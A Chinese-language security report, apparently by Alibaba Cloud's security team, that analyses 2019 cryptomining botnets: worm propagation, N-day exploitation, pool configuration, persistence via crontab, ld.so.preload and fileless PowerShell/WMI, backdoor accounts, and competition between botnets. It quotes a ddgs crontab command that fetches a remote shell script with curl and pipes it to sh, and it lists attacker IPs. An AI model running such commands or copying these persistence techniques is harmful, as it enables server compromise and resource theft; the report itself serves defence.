生存还是毁灭?一文读懂挖矿木马的战略战术
前言
比特币等虚拟货币在2019年迎来了久违的大幅上涨,从最低3000美元上涨至7月份的14000美元,涨幅达300%,巨大的金钱诱惑使得更多的黑产团伙加入了恶意挖矿的行列。阿里云安全团队通过对云上僵尸网络家族的监控,发现恶意挖矿已成为黑产团伙主要的牟利方式。2019年共监控到58个成规模的挖矿木马团伙(数据截止到8月底),以累积感染量定义木马活跃度,下图/表是活跃TOP10的木马家族及简介。本文尝试从宏观角度分析、总结挖矿木马常用技术及发展趋势,以期能够给企业安全防护带来启示。
核心观点
1.木马投放方式全面蠕虫化,多种漏洞组合攻击成为趋势,N-day漏洞利用速度在加快
这种趋势无疑令人异常担忧,意味着挖矿木马的传播能力在大幅增强,变得无孔不入。一旦企业的信息系统存在任意可被利用的漏洞,那么企业内网将会快速沦陷,挖矿行为会抢占CPU资源,严重影响企业信息系统运行。这对企业的漏洞管理和安全防御能力有了更高、更快的要求。
2.木马持久化技术被成熟利用,rootkit、无文件技术成为趋势
挖矿木马入侵成功后必定希望能够长久稳定的挖掘出虚拟货币,其技术上使用rootkit、无文件等技术实现长期、隐蔽运行。对于一般的运维人员,系统一旦中招后,顽固木马是难以清除的,这需要企业具备更专业的安全应急响应能力。
3.木马开始出现跨平台趋势
Golang语言天生具备跨平台编译能力,这个特点方便黑产团伙在多平台间移植,新出现的恶意软件使用GO也成为了一种趋势。TOP10中有6个是2019年爆发的挖矿木马,其中有5个是GO语言实现的,MinerGuard和kworkerds已具备了Linux/Windows双平台传播的能力。
工欲善,利其器-攻击之术
全网漏洞扫描/投放->蠕虫化投放
1、利用单一或多个IP攻击全网漏洞进行投放
这种投放方式较为原始,无横向传播能力,效率比较低下,且容易被防御拦截。在我们的监控中,使用这种方式的木马规模普遍较小。例如:8220Miner固定使用多个国外IP进行持续攻击,会定期更换IP,但更换频率较低。而ddsMiner通过sqlserver入侵,攻击载荷会下载名为dds.exe的PE文件(如:http://113[.]69[.]206[.]219:4523/dds.exe),该团伙每天至少使用1个新的IP进行全网攻击,攻击时间持续数小时,该IP也是当天的恶意文件托管站。
2、蠕虫化投放
蠕虫化的挖矿botnet具备攻击模块,扫描并感染网络上的其他服务器,使用这种方式进行传播会按照指数增长的速度扩张,且这种方式会使得溯源和防御变得更加困难。TOP10中2019年爆发的几个挖矿botnet全部使用蠕虫化投放方式,他们都是在短时间内(几天时间)得到快速扩张跻身TOP10。
单一漏洞利用->组合漏洞横向传播
早期的挖矿木马使用固定漏洞在公网传播,传播速度和规模受限。而使用多种漏洞组合攻击的方式使得挖矿木马具备了内网横向传播的能力,攻击模块会集成通用的WEB服务漏洞、爆破、数据库漏洞等攻击方式。‘聪明’的挖矿木马作者更是使用不同的内外网攻击策略,进行更高效的传播。例如:Windows平台下的Bulehero挖矿木马,在内网优先使用永恒之蓝漏洞、ipc$爆破、RDP爆破进行传播,在公网则优先使用Web服务漏洞进行传播。Linux平台下的kerberods挖矿木马,在内网优先使用本地ssh key、ssh爆破进行传播。在这种高效策略下,企业内网通常在几分钟内被全部入侵。
N-day漏洞快速利用
互联网大规模存在且未被修复的通用漏洞往往成为挖矿僵尸网络争夺的’肥肉’,N-day漏洞爆发后难以在短时间内得到有效修复,’嗅觉’灵敏的黑产团伙会很快纳入挖矿木马的武器库。据我们观察,N-day漏洞留给运维人员进行修复的空窗期越来越短,如Jboss反序列化漏洞于2017年5月被发现,年底JbossMiner开始对其大规模利用。2018年12月ThinkPhp远程代码执行漏洞爆发,十几天后被BuleHero团伙利用进行。2019年4月8日Confluence RCE 漏洞利用POC发布,4月10日就kererods蠕虫就开始利用该漏洞大肆传播,中间只隔了短短两天。再次对云平台及用户的快速响应能力构成严峻考验。
通往财富之路-牟利之术
矿池配置方式:
挖矿木马植入开源挖矿程序进行挖矿,矿机程序启动时通过命令行传入挖矿参数,但是这种方式较为原始,释放出的木马无法修改配置参数。第二种方式使用配置文件下发,结合定时任务实现对挖矿参数的控制,这种使用方式较为常见。以上两种方式都存在易被检测的特点,有些黑产团伙会对开源挖矿程序进行二次开发,将矿机配置参数硬编码在恶意程序中,并进行加壳对抗检测,以达到隐蔽挖矿的目的。
挖矿程序命令行配置
通过配置文件:
MinerGuard矿机配置文件截图:
挖矿软件硬编码配置 :
ddgs硬编码的矿池及钱包地址
挖矿方式:公共矿池->矿池代理
1、公共矿池方式
使用匿名的公共矿池是恶意挖矿最常见的方式,使用方法简单,但是由于需要配置独立的钱包地址,因此易被跟踪溯源,而且对bot挖矿无管理能力。
如下图是在公共矿池上查询8220Miner的钱包地址及算力,目前该地址挖掘到15.5个门罗币,可借此估算出该挖矿僵尸网络的规模。
2、矿池代理
有些挖矿僵尸网络会自己搭建矿池代理,通过代理可降低挖矿难度,也可根据收益随时切换高收益矿池、高收益矿币种,这种方式无法通过钱包地址进行跟踪。
下图是监控到masscanMiner使用了矿池代理进行挖矿,通过进程cmdline可知矿池开放在121.42.151.137的28850端口,这并非一公共矿池常用的端口,登陆账号也为默认账号。
其他变现方式:附带DDos、Socks代理
除了挖矿这种本职工作,有些黑产团伙会顺带通过其他方式进行变现,比如DDos、代理等。如下图是sicMiner恶意样本会运行一个python脚本,该脚本是github上开源的socks5代理,代理运行在7081端口,该团伙可能是通过出售代理进行变现。
生存还是毁灭-持久化之术
挖矿木马入侵成功后需要长期驻留于目标操作系统,以达到长期稳定地产出虚拟货币,通常会使用各种技术对抗安全检测和运维人员的清除。
清除/卸载安全软件
卸载宿主机的安全防护软件是常规操作,由于挖矿的攻击行为多针对服务器,黑产团伙也特别针对云环境的安全软件精准对抗。如下是kworderds蠕虫在windows、Linux下卸载不同安全软件的行为。
kworkerds关闭杀毒软件
kworkerds挖矿蠕虫卸载安骑士等安全工具
rootkit技术
1、通过定时任务/计划任务实现常驻
Linux下的crontab定时任务是很多恶意软件常见的驻留方式,他们并不仅仅会把自己写入用户的crontab,还会写入软件包的crontab,如/etc/cron.d,这样使得自己更不容易被发现。而Windows下则通过计划任务、修改注册表实现类似的驻留方式。如下是ddgs蠕虫恶意进程行为通过crondtab启动。
ddgs通过CROND定时任务启动恶意shell:/bin/sh -c curl -fsSLhttp://218[.]248[.]40[.]228:9999/i.sh?6| sh
2、动态链接库预加载型rootkit
Linux下的动态链接库预加载机制在加载其他常规系统库之前就会预先加载用户定义的动态链接库,如果自定义库的函数与系统库中找到的函数具有相同的名称,自定义动态链接库就会覆盖系统库中的函数。攻击者通过动态连接库预加载,实现对libc中诸如readdir等常用函数的hook,当ps、top等shell指令尝试读取/proc/目录获取进程信息时对恶意进行隐藏。
图是8220miner使用该技术劫持linux动态链接库配置文件/etc/ld.so.preload。
无文件攻击技术
无文件攻击不需要将恶意软件落地到磁盘,因此难以被杀软查杀,具备更好的隐蔽性。在挖矿僵尸网络中通常使用各种工具(比如Windows的WMI命令行工具wmic.exe)或者脚本编程语言(如PowerShell)提供的API接口访问WMI,来实现无文件攻击。如下是TheHidden使用wmic、WannaMine使用powershell进行无文件攻击。
TheHidden使用wmic无文件攻击的代码片段
WannaMine的恶意进程使用powershell隐藏、编码功能进行无文件攻击
文件名/路径混淆
除了对抗各种安全工具,还要对抗运维人员的手动排查,将文件名和路径进行混淆也是常用的手段。比如ibus会将恶意文件写入多个系统目录下,并且通过随机变更大小写等方式生成和隐藏目录下文件名类似的混淆文件名。
ibus生成在系统目录下的混淆目录
ibus生成混淆文件名
c&c通信
由于恶意挖矿行为不需要对bot进行强控制,大部分的挖矿木马都不具备完备的c&c控制模块,他们通常使用配置文件结合定时任务,实现对bot的配置变更和版本更新。在TOP10中只有ddgs和ibus有完备的c&c控制功能。如ddgs,它的c&c通信使用uMsg序列化,能够实现攻击指令下发、版本配置更新等功能,在今年1月份的更新中甚至开始使用P2P进行c&c控制IP的下发。
ddgs反序列化后的c&c控制指令
ibus的c&c控制模块的恶意代码
暗网
从2018年底开始挖矿木马开始频繁使用暗网进行恶意文件托管,由于其匿名通信的特点开始在恶意软件中逐渐流行。如下是watchbog蠕虫使用暗网地址下载恶意文件。
watchbog蠕虫使用暗网地址下载恶意文件。
文件类型伪装
为了防止被追踪溯源,黑客喜欢将恶意文件托管在公开的免费网站上,他们需要将恶意shell、二进制文件伪装成图片以防止被检测。
将二进制/shell文件伪装成图片文件是常规操作
后门账号
除了常规驻留操作,我们监控到多个挖矿木马会在宿主机上留下后门账号,即使木马被清除掉,黑客也能通过后门账号再次入侵。
TheHidden添加后门账号,账号名admin,并对该账号进行了隐藏。
watchdog添加后门ssh key
人在江湖飘怎能不挨刀-资源竞争之术
除了和安全软件的对抗,挖矿僵尸网络还要面临同行的竞争,毕竟CPU资源是有限的,一机不容二’马’!
杀死竞争进程
这几乎是挖矿木马的常规操作,通过进程的指纹库判断其他挖矿进程,或者直接杀死CPU占用率高的进程。
kerberods进行资源竞争的进程指纹库
修改防火墙
修改防火墙的iptables,将存在漏洞的服务端口关闭防止其他挖矿木马入侵。或者关闭常见的矿池端口,阻断竞争对手的挖矿行为。
修改iptables配置进行资源竞争
修改hosts
通过修改/etc/hosts将竞争对手的域名、常见矿池域名sinkhole,也是一种资源竞争手段。我们也见到了对应的反制措施:判断/etc/hosts是否被修改过,并重写/etc/hosts进行覆盖。
将竞争对手的域名sinkhole
kthrotldsPretender的反制措施:重写hosts
借助其他botnet
除了以上常规的竞争手段外,借助其他僵尸网络进行传播也是一种高明的手段。systemdMiner在今年4月份就曾’借鸡下蛋’,通过入侵ddgs的c&c中控主机进行快速扩张。
systemdMiner利用ddgs的中控下发的shell